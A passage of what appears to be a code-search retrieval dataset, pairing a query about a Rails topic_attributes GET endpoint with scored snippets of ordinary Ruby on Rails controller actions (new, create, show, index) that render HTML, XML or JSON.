"text": "def new\n @wiki = Wiki.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wiki }\n end\n end",
"title": ""
},
{
"docid": "8457885874d9fcefb4613464f1f902dc",
"score": "0.62687844",
"text": "def new\n @wiki = Wiki.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wiki }\n end\n end",
"title": ""
},
{
"docid": "dc1cd5c6f331808e354402c5f3261d7d",
"score": "0.6264118",
"text": "def new\n return false if !userCan :slide\n @slide = Slide.new\n @items = Item.find(:all, :order => \"position\")\n @agendas= Agenda.find(:all, :order => \"position\")\n @projectors = Projector.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"title": ""
},
{
"docid": "6f36dc6f50f773cf0e614bcb18665001",
"score": "0.6261082",
"text": "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n \n end\n end",
"title": ""
},
{
"docid": "d86f35f33154aab7845e0980a40d41ea",
"score": "0.62399197",
"text": "def new\n @doc = Doc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @doc }\n end\n end",
"title": ""
},
{
"docid": "10d86298d201277e45d1bf8739fdc15c",
"score": "0.6235416",
"text": "def create\n @page_slide = Slide.new(params[:page_slide])\n\n respond_to do |format|\n if @page_slide.save\n format.html { redirect_to @page_slide, notice: 'Slide was successfully created.' }\n format.json { render json: @page_slide, status: :created, location: @page_slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @page_slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e5b210271121d9a4ff66139881ca67cf",
"score": "0.6233026",
"text": "def create(url=\"\")\n if url.present?\n @slideshow = Slideshow.new\n @slideshow.name = url\n else\n @slideshow = Slideshow.new(params[:slideshow])\n end\n @slideshow.slide_order_hash = {}\n respond_to do |format|\n \n if @slideshow.save\n format.html { \n redirect_to(\"/#{@slideshow.name}/new\", :notice => 'Slideshow was successfully created.') } #CONSTRUCTION, finish this path after completing routes\n \n #format.html { redirect_to(new_slideshow_slide_path(@slideshow), :notice => 'Slideshow was successfully created.') }\n format.xml { render :xml => @slideshow, :status => :created, :location => @slideshow }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @slideshow.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3399ead2d166a90fa168f629c7b7e453",
"score": "0.621955",
"text": "def new\n @webpage = Webpage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @webpage }\n end\n end",
"title": ""
},
{
"docid": "feb617470ccd100556f338a8c850b468",
"score": "0.62189394",
"text": "def new\n @precio = Precio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @precio }\n end\n end",
"title": ""
},
{
"docid": "741bc32baa5592903d90ef2067b828a2",
"score": "0.6217543",
"text": "def new\n @page = current_cms.pages.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "cd2dbbf1f64ea4a4cb855f8edb9e8dd3",
"score": "0.62167",
"text": "def new\n @slideshow_item = SlideshowItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slideshow_item }\n end\n end",
"title": ""
},
{
"docid": "ad672b1f57a45fe4fab322976ecf50d2",
"score": "0.6215323",
"text": "def new\n @url_migration = UrlMigration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_migration }\n end\n end",
"title": ""
},
{
"docid": "e53d4a7a89fe91b8ad596361ccb2f09b",
"score": "0.6205071",
"text": "def new\n @gallery = Gallery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gallery }\n end\n end",
"title": ""
},
{
"docid": "e53d4a7a89fe91b8ad596361ccb2f09b",
"score": "0.6205071",
"text": "def new\n @gallery = Gallery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gallery }\n end\n end",
"title": ""
},
{
"docid": "4cbdefa8da9c3f56b3ff63489a6d26a6",
"score": "0.62046576",
"text": "def new\n @workflow = Workflow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @workflow }\n end\n end",
"title": ""
},
{
"docid": "af28b630079c17d5f51bf4fbc0e5e117",
"score": "0.62032264",
"text": "def new\n @lesson = Lesson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lesson }\n end\n end",
"title": ""
},
{
"docid": "3ed20522c97c327040bc962582121a09",
"score": "0.6201843",
"text": "def new\n @live_news = LiveNews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @live_news }\n end\n end",
"title": ""
},
{
"docid": "4c9050809fa686a4a2e92f895efe27a0",
"score": "0.61988074",
"text": "def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end",
"title": ""
},
{
"docid": "f6e024864529b1d71cf429b05828b33f",
"score": "0.61960465",
"text": "def new\n @newspage = Newspage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspage }\n end\n end",
"title": ""
},
{
"docid": "a33b1c3027f00fe7b632070f0fcb4106",
"score": "0.61932623",
"text": "def new\n @novel = Novel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @novel }\n end\n end",
"title": ""
},
{
"docid": "8f0302bf2e9df1cd4f4b36f8beb81d6b",
"score": "0.61771023",
"text": "def new\n @paper_flow = PaperFlow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @paper_flow }\n end\n end",
"title": ""
},
{
"docid": "c55caf3e5e4d95fa423f3c4d0e5f9298",
"score": "0.61536944",
"text": "def new\n @howto = Howto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @howto }\n end\n end",
"title": ""
},
{
"docid": "319a865882d8654c00fba7a65bdc7c71",
"score": "0.61507154",
"text": "def new\n @collection = Collection.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @collection }\n end\n end",
"title": ""
},
{
"docid": "23552c0cb16cf32a8cee155878173a05",
"score": "0.6146356",
"text": "def create\n @slide = Slide.new(slide_params)\n @slide.presentation = @presentation\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to location: presentation_slides_url(@presentation), notice: 'Slide was successfully created.' }\n format.json { render action: 'show', status: :created, location: @slide }\n else\n format.html { render action: 'new' }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0e47153635e9c476150728a07cb385e2",
"score": "0.6143915",
"text": "def new\n @episode = Episode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @episode }\n end\n end",
"title": ""
},
{
"docid": "0e47153635e9c476150728a07cb385e2",
"score": "0.6143915",
"text": "def new\n @episode = Episode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @episode }\n end\n end",
"title": ""
},
{
"docid": "0b07d18cb6b35c4f3295f196e652d021",
"score": "0.614073",
"text": "def new\n @picture = Picture.new\n\n respond_to do |wants|\n wants.html # new.html.erb\n wants.xml { render :xml => @picture }\n end\n end",
"title": ""
},
{
"docid": "f8f47de1f353646d63982038bb941d2e",
"score": "0.613967",
"text": "def new\n @pdig = Pdig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pdig }\n end\n end",
"title": ""
},
{
"docid": "0b98dacf474fee9af321037189f314db",
"score": "0.61265105",
"text": "def new\n @ep = Ep.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ep }\n end\n end",
"title": ""
},
{
"docid": "2c916ec86e37f5c35ff15d07ab6fc4c6",
"score": "0.6122819",
"text": "def new\n @picwall = Picwall.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @picwall }\n end\n end",
"title": ""
},
{
"docid": "9950a0e76dc2e8ac967ac8a4aa8f7e20",
"score": "0.61211735",
"text": "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @page }\n end\n end",
"title": ""
},
{
"docid": "a83fec617baf82d4edaefca6e6e35176",
"score": "0.61193216",
"text": "def new\n @pulve = Pulve.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pulve }\n end\n end",
"title": ""
},
{
"docid": "dde3e8d213ba6f9bef116033294329e7",
"score": "0.61186194",
"text": "def new\n @rails_url = RailsUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rails_url }\n end\n end",
"title": ""
},
{
"docid": "6cebb70b3dedfe191d1fb9c98ae2e66a",
"score": "0.6114801",
"text": "def new\n @space = Space.where(:wiki_name => params[:space_id])[0]\n @document = @space.documents.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n format.json { render :json => @document.to_json }\n end\n end",
"title": ""
},
{
"docid": "23bfe36c18901a3b2d5144606d6fe922",
"score": "0.6112411",
"text": "def create\n @mode = 'I'\n render 'admin/slides/slide'\n end",
"title": ""
},
{
"docid": "9f5a484dda0fcb8112007f9c19a7bbc2",
"score": "0.6110052",
"text": "def new\n @click_to_talk = ClickToTalk.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @click_to_talk }\n end\n end",
"title": ""
},
{
"docid": "ca7301dc298598950f0fd1c513389127",
"score": "0.61092055",
"text": "def new\n @page = Page.new\n\n respond_to do |format|\n format.json {render json: @page}\n format.xml {render xml: @page}\n end\n end",
"title": ""
},
{
"docid": "5634c8f78211f16dbd8fe294b83fd1cd",
"score": "0.6107603",
"text": "def new \n @how_to = HowTo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @how_to }\n end\n end",
"title": ""
},
{
"docid": "09290eb9421c69e1c24e1c9afe8ccfac",
"score": "0.6103013",
"text": "def new\n @testing = Testing.new\n @testing.build_documents\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @testing }\n end\n end",
"title": ""
},
{
"docid": "8bad3d429719e99f88ede368b691f709",
"score": "0.6102631",
"text": "def new\n @versioned_jnlp_url = MavenJnlp::VersionedJnlpUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @versioned_jnlp_url }\n end\n end",
"title": ""
},
{
"docid": "f1fcda174682759e8a51026aef57c191",
"score": "0.6098602",
"text": "def new\n @title = t :'view.pigs.new_title'\n @pig = Pig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pig }\n end\n end",
"title": ""
},
{
"docid": "972b017af97d3ac1ef4bd51d7b45a35e",
"score": "0.609523",
"text": "def new\n @wiki_page = WikiPage.find(params[:wiki_page_id])\n new_name = params[:diagram_name] || 'New Diagram'\n new_diagram = self.gliffy_handle.document_create(new_name,APP_CONFIG['gliffy_folder'])\n redirect_to edit_url(@wiki_page,new_diagram.document_id)\n end",
"title": ""
},
{
"docid": "b8be70b7d46b38c0e6840ea8b493c775",
"score": "0.6093326",
"text": "def create\n\n @slide = Slide.new(slide_params)\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to [:admin, @slide], notice: 'Slide was successfully created.' }\n format.json { render action: 'show', status: :created, location: @slide }\n else\n format.html { render action: 'new' }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7963fcbb75786c844b03934526503927",
"score": "0.6092281",
"text": "def new\n @poll = Poll.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @poll }\n end\n end",
"title": ""
},
{
"docid": "29b3d667b47dc269532fd3bdb0ec9954",
"score": "0.60909873",
"text": "def new\n @document = Document.new\n\n respond_to do |wants|\n wants.html # new.html.erb\n wants.xml { render :xml => @document }\n end\n end",
"title": ""
},
{
"docid": "12ce59750f406225e4e1e736dbf2411f",
"score": "0.6090037",
"text": "def new\n @presentation = Presentation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @presentation }\n end\n end",
"title": ""
},
{
"docid": "d6626cd49921b531f65a81064ad9ef6c",
"score": "0.608547",
"text": "def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @story }\n end\n end",
"title": ""
},
{
"docid": "d6626cd49921b531f65a81064ad9ef6c",
"score": "0.608547",
"text": "def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @story }\n end\n end",
"title": ""
},
{
"docid": "d6626cd49921b531f65a81064ad9ef6c",
"score": "0.608547",
"text": "def new\n @story = Story.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @story }\n end\n end",
"title": ""
},
{
"docid": "545ce1a62e12e3a84188260eccfa4373",
"score": "0.60840124",
"text": "def new\n @img = Img.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @img }\n end\n end",
"title": ""
},
{
"docid": "d6bfdac5fe42d82b19ba7b02e01116c0",
"score": "0.6079095",
"text": "def new_rest\n @question_localized = QuestionLocalized.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question_localized }\n end\n end",
"title": ""
},
{
"docid": "6076ce4dba85573ddd784fcb6b0c93f5",
"score": "0.6079039",
"text": "def new\n @pr = Pr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pr }\n end\n end",
"title": ""
},
{
"docid": "8fc6d64b1a96828681cbdfee170a84a2",
"score": "0.60765064",
"text": "def new\n @page = Page.new\n\n respond_to do |format|\n format.json { render json: @page }\n format.xml { render xml: @page }\n end\n end",
"title": ""
},
{
"docid": "de0704aa1f00ccc77db03d4a63ad99f9",
"score": "0.6076384",
"text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n end\n end",
"title": ""
},
{
"docid": "775c72de8061871750f8479f7d79c5fe",
"score": "0.6074559",
"text": "def new\n @page = @site.pages.new\n @page.parts << PagePart.new(:name => \"body\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "1507add89f4b857b7c5dfc4849b93598",
"score": "0.6074224",
"text": "def create\n @slide = Slide.new(params[:slide])\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to slides_url, notice: '幻灯片创建成功.' }\n format.json { render json: @slide, status: :created, location: @slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5fb9b909ce9f23980876f5cb151bb481",
"score": "0.607406",
"text": "def new\n @page = Page.new\n\n respond_to do |wants|\n wants.html # new.html.erb\n wants.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "933fa468ebd29c3e407439fe60e17e39",
"score": "0.60715574",
"text": "def new\n @exposure = Exposure.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @exposure }\n end\n end",
"title": ""
},
{
"docid": "0780457dfdddb3e247cdd2f3eeadb74d",
"score": "0.6071037",
"text": "def create\n @slide = Slide.new(slide_params)\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to @slide, notice: \"Slide was successfully created.\" }\n format.json { render :show, status: :created, location: @slide }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e0c1c31cc1e4df1a8b2efdbb71e7e706",
"score": "0.6070937",
"text": "def new\n @document = Document.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n end\n end",
"title": ""
}
] |
8f38a49562f32a2fcf5cfcdef183535d
|
GET /topic_attributes/1 GET /topic_attributes/1.xml
|
[
{
"docid": "22c74cccf629bb95a3a9648e2485beeb",
"score": "0.7269116",
"text": "def show\n @topic_attribute = TopicAttribute.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @topic_attribute }\n end\n end",
"title": ""
}
] |
[
{
"docid": "2cbb7e4b043e01a0b54a00f3333dc146",
"score": "0.7190722",
"text": "def index\n @topic_attributes = TopicAttribute.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @topic_attributes }\n end\n end",
"title": ""
},
{
"docid": "46d6f10e865cc09ce80b5e81ddcb2699",
"score": "0.64039505",
"text": "def get_topic_attributes(arn)\n request({\n 'Action' => 'GetTopicAttributes',\n 'TopicArn' => arn.strip,\n :parser => Fog::Parsers::AWS::SNS::GetTopicAttributes.new\n })\n end",
"title": ""
},
{
"docid": "e54164ca0dcfb998894da8c4c78b61f2",
"score": "0.6397761",
"text": "def new\n @topic_attribute = TopicAttribute.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic_attribute }\n end\n end",
"title": ""
},
{
"docid": "bfad0445c2342b4439874e5fc725e264",
"score": "0.60212517",
"text": "def create\n @topic_attribute = TopicAttribute.new(params[:topic_attribute])\n\n respond_to do |format|\n if @topic_attribute.save\n flash[:notice] = 'TopicAttribute was successfully created.'\n format.html { redirect_to(@topic_attribute) }\n format.xml { render :xml => @topic_attribute, :status => :created, :location => @topic_attribute }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @topic_attribute.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4305305d7bca767ca87920be1d537ec3",
"score": "0.5953555",
"text": "def show\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @topic }\n end\n end",
"title": ""
},
{
"docid": "4305305d7bca767ca87920be1d537ec3",
"score": "0.5953555",
"text": "def show\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @topic }\n end\n end",
"title": ""
},
{
"docid": "4305305d7bca767ca87920be1d537ec3",
"score": "0.5953555",
"text": "def show\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @topic }\n end\n end",
"title": ""
},
{
"docid": "4305305d7bca767ca87920be1d537ec3",
"score": "0.5953555",
"text": "def show\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @topic }\n end\n end",
"title": ""
},
{
"docid": "2bf26fc0d0a268923ec7fe81ca6a760c",
"score": "0.5940607",
"text": "def get_topic_attributes(topic_arn)\n req_hash = generate_request('GetTopicAttributes', 'TopicArn' => topic_arn)\n request_info(req_hash, SnsGetTopicAttributesParser.new(:logger => @logger))\n rescue\n on_exception\n end",
"title": ""
},
{
"docid": "0b6d76197a5772527bb8828cf93a967b",
"score": "0.59323275",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @topic }\n end\n end",
"title": ""
},
{
"docid": "8f3d0446674d68ac9e39ede5d007e680",
"score": "0.5921845",
"text": "def update\n @topic_attribute = TopicAttribute.find(params[:id])\n\n respond_to do |format|\n if @topic_attribute.update_attributes(params[:topic_attribute])\n flash[:notice] = 'TopicAttribute was successfully updated.'\n format.html { redirect_to(@topic_attribute) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @topic_attribute.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "798b42acbc2ccca9d3c8da4df98c38a3",
"score": "0.5854443",
"text": "def show\n @topicdetail = Topicdetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @topicdetail }\n end\n end",
"title": ""
},
{
"docid": "63bb4ca3732ad1c69f6efc55a9caa48a",
"score": "0.57684696",
"text": "def show\n @attr_type = AttrType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attr_type }\n end\n end",
"title": ""
},
{
"docid": "fe18025fbabf7960adf3714a0950bff8",
"score": "0.5767162",
"text": "def GetTopic id\n\n APICall(path: \"topics/#{id}.json\")\n\n end",
"title": ""
},
{
"docid": "3d5cb14aced8d352620c75cde5a60c1d",
"score": "0.57422394",
"text": "def show\n @text_topic = TextTopic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @text_topic }\n end\n end",
"title": ""
},
{
"docid": "6c0645dd7846f7b16dbebacf50c1573f",
"score": "0.57406336",
"text": "def show\n @thoughts = @topic.thoughts if @topic\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @topic.to_xml( :include => :thoughts ) }\n end\n end",
"title": ""
},
{
"docid": "1ff6afebf5783639349ea27fff1b6361",
"score": "0.5622741",
"text": "def index\n @topics = Topic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @topics }\n end\n end",
"title": ""
},
{
"docid": "c9348195cc82b4270e791399e4b3b03e",
"score": "0.5617739",
"text": "def index\n @topics = Topic.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @topics }\n end\n end",
"title": ""
},
{
"docid": "3e4a419a10fc542cebda23823e87ac0f",
"score": "0.56077075",
"text": "def get_topic(org_unit_id, topic_id) # GET\n query_string = \"/d2l/api/le/#{$le_ver}/#{org_unit_id}/content/topics/#{topic_id}\"\n _get(query_string)\nend",
"title": ""
},
{
"docid": "446166ee20deed28f6c40c724ccfabd1",
"score": "0.55962014",
"text": "def show\n @question_topic = QuestionTopic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question_topic }\n end\n end",
"title": ""
},
{
"docid": "2440062726402bec02c26c2be03c4a34",
"score": "0.5587239",
"text": "def show\n \n begin\n @topic_activity_summaries = \n TopicActivitySummary.find_all_by_student_id_and_grade(params[:id], params[:grade])\n rescue Exception => e \n respond_to do |format|\n format.xml { render :xml => errorRsp( e.message) }\n end\n return\n end\n\t \n respond_to do |format|\n format.xml { render :xml => @topic_activity_summaries.to_xml(:dasherize => false) }\n end\n end",
"title": ""
},
{
"docid": "a8092a004ddeea208b57f2e379a15e67",
"score": "0.55860525",
"text": "def show\n @topic = Topic.find_by_name(params[:id])\n # @topic = Topic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @topic }\n end\n end",
"title": ""
},
{
"docid": "ae08d845ff526eed77d7ea7d7e5d68b0",
"score": "0.55849946",
"text": "def show\n @topiccluster = Topiccluster.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @topiccluster }\n end\n end",
"title": ""
},
{
"docid": "d0a859768d6404b5403a421c6d9f5a4d",
"score": "0.5552161",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @forum_topic }\n end\n end",
"title": ""
},
{
"docid": "fa4e4d3fd351da9d48d8cb6960fca0a6",
"score": "0.5545732",
"text": "def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @topics }\n end\n end",
"title": ""
},
{
"docid": "3f5316c48deba736492fa66c303bef43",
"score": "0.55357754",
"text": "def show\n @question_attribute = QuestionAttribute.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question_attribute }\n end\n end",
"title": ""
},
{
"docid": "9652dcf6d842d47c566c6c049e38e236",
"score": "0.55061835",
"text": "def get_topic\n Topic.find(params[:id])\n end",
"title": ""
},
{
"docid": "da65a9f18d8bd1410ea45b8c3dd370a3",
"score": "0.5496726",
"text": "def show\n @collection_attribute = CollectionAttribute.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @collection_attribute }\n end\n end",
"title": ""
},
{
"docid": "9828bc961cd56186e927d1148b0fee84",
"score": "0.5479704",
"text": "def show\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n end\n end",
"title": ""
},
{
"docid": "9828bc961cd56186e927d1148b0fee84",
"score": "0.5479704",
"text": "def show\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n end\n end",
"title": ""
},
{
"docid": "9828bc961cd56186e927d1148b0fee84",
"score": "0.5479704",
"text": "def show\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n end\n end",
"title": ""
},
{
"docid": "9828bc961cd56186e927d1148b0fee84",
"score": "0.5479704",
"text": "def show\n @topic = Topic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n end\n end",
"title": ""
},
{
"docid": "797479e16e3436db06a6de28904e70be",
"score": "0.54268265",
"text": "def get_topic\n Topic.find(params[:id])\n end",
"title": ""
},
{
"docid": "476fbf7e58e762447cb429d091662e3d",
"score": "0.54186285",
"text": "def show\n @subsubtopic = Subsubtopic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subsubtopic }\n end\n end",
"title": ""
},
{
"docid": "589c90ed4dcf79708cc0df2944f2bd91",
"score": "0.5404707",
"text": "def show\n @topic = Topic.find(params[:id])\n render 'api/v1/topics/show'\n end",
"title": ""
},
{
"docid": "d8a4c42e40f0a1d5ca7f328b40e41c2e",
"score": "0.539538",
"text": "def get(*topics)\n # FIXME: implement this\n end",
"title": ""
},
{
"docid": "a3ff66814814b401c52a0abde46cc81a",
"score": "0.53721416",
"text": "def new\n\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end",
"title": ""
},
{
"docid": "073b4834a4a7831a060beab89663a3f3",
"score": "0.53596437",
"text": "def new\n @topic = Topic.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end",
"title": ""
},
{
"docid": "fb7b91f76abdda94bb99e2c54eaa98b5",
"score": "0.5354943",
"text": "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end",
"title": ""
},
{
"docid": "fb7b91f76abdda94bb99e2c54eaa98b5",
"score": "0.5354943",
"text": "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end",
"title": ""
},
{
"docid": "fb7b91f76abdda94bb99e2c54eaa98b5",
"score": "0.5354943",
"text": "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end",
"title": ""
},
{
"docid": "fb7b91f76abdda94bb99e2c54eaa98b5",
"score": "0.5354943",
"text": "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end",
"title": ""
},
{
"docid": "fb7b91f76abdda94bb99e2c54eaa98b5",
"score": "0.5354943",
"text": "def new\n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end",
"title": ""
},
{
"docid": "a5939912f3f3c374e9d8e5a90c6a42b4",
"score": "0.5352073",
"text": "def show\n @topic = Topic.find(params[:id])\n @page_title = \"Topic Show: #{@topic.topic_name}\"\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n \n end\n end",
"title": ""
},
{
"docid": "eddc8b53a75adc5dee2d8031eb569c4d",
"score": "0.53317624",
"text": "def show\n load_topic\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n end\n end",
"title": ""
},
{
"docid": "17143b22cf70aee16bfa1243c93f7717",
"score": "0.5327453",
"text": "def index\n @actattributes = Actattribute.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @actattributes }\n end\n end",
"title": ""
},
{
"docid": "bf254ea66fc64a7f262aeaf8781669e8",
"score": "0.5306625",
"text": "def show\n @cultural_heritage_topic = CulturalHeritage::Topic.find(params[:id])\n @title_view = \"Temas\"\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cultural_heritage_topic }\n end\n end",
"title": ""
},
{
"docid": "855d302387457ef66b88848f8993fc0c",
"score": "0.5297804",
"text": "def show\n @catalog_product_attributes = CatalogProductAttributes.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @catalog_product_attributes }\n end\n end",
"title": ""
},
{
"docid": "dc070574ed849ab503588580ec570d72",
"score": "0.5294728",
"text": "def new\n \n @topic = Topic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @topic }\n end\n end",
"title": ""
},
{
"docid": "c618f39dafc1c14f8c3735f602b4d760",
"score": "0.5293562",
"text": "def show\n @attribute_group = AttributeGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attribute_group }\n end\n end",
"title": ""
},
{
"docid": "976d57918fafe9f11317ee05d795317c",
"score": "0.52911687",
"text": "def show\n @topic = @parent.children.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @topic }\n end\n end",
"title": ""
},
{
"docid": "ebd4c64f8f6af8eb61e7a10630e72c30",
"score": "0.52833724",
"text": "def fetch_xml_attr(path, xml, attribute = \"id\") # :doc:\n XML::Parser.parse(xml.body, \"/pairwise/#{path}\", attribute)\n end",
"title": ""
},
{
"docid": "f313cb58ef2c7b98ee63e9ea3f2b1800",
"score": "0.52812016",
"text": "def view\n res = @client.get(path)\n @attributes = res.json if res.success?\n end",
"title": ""
},
{
"docid": "57472d54781e8d9f9be5ea172618243b",
"score": "0.5279474",
"text": "def show\n @forum = Forum.find(params[:id])\n\t\t@topics = Topic.find_all_by_forum_id(@forum.id)\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @forum }\n end\n end",
"title": ""
},
{
"docid": "62282c1c3518b30ad7db37e59715a0d6",
"score": "0.52758825",
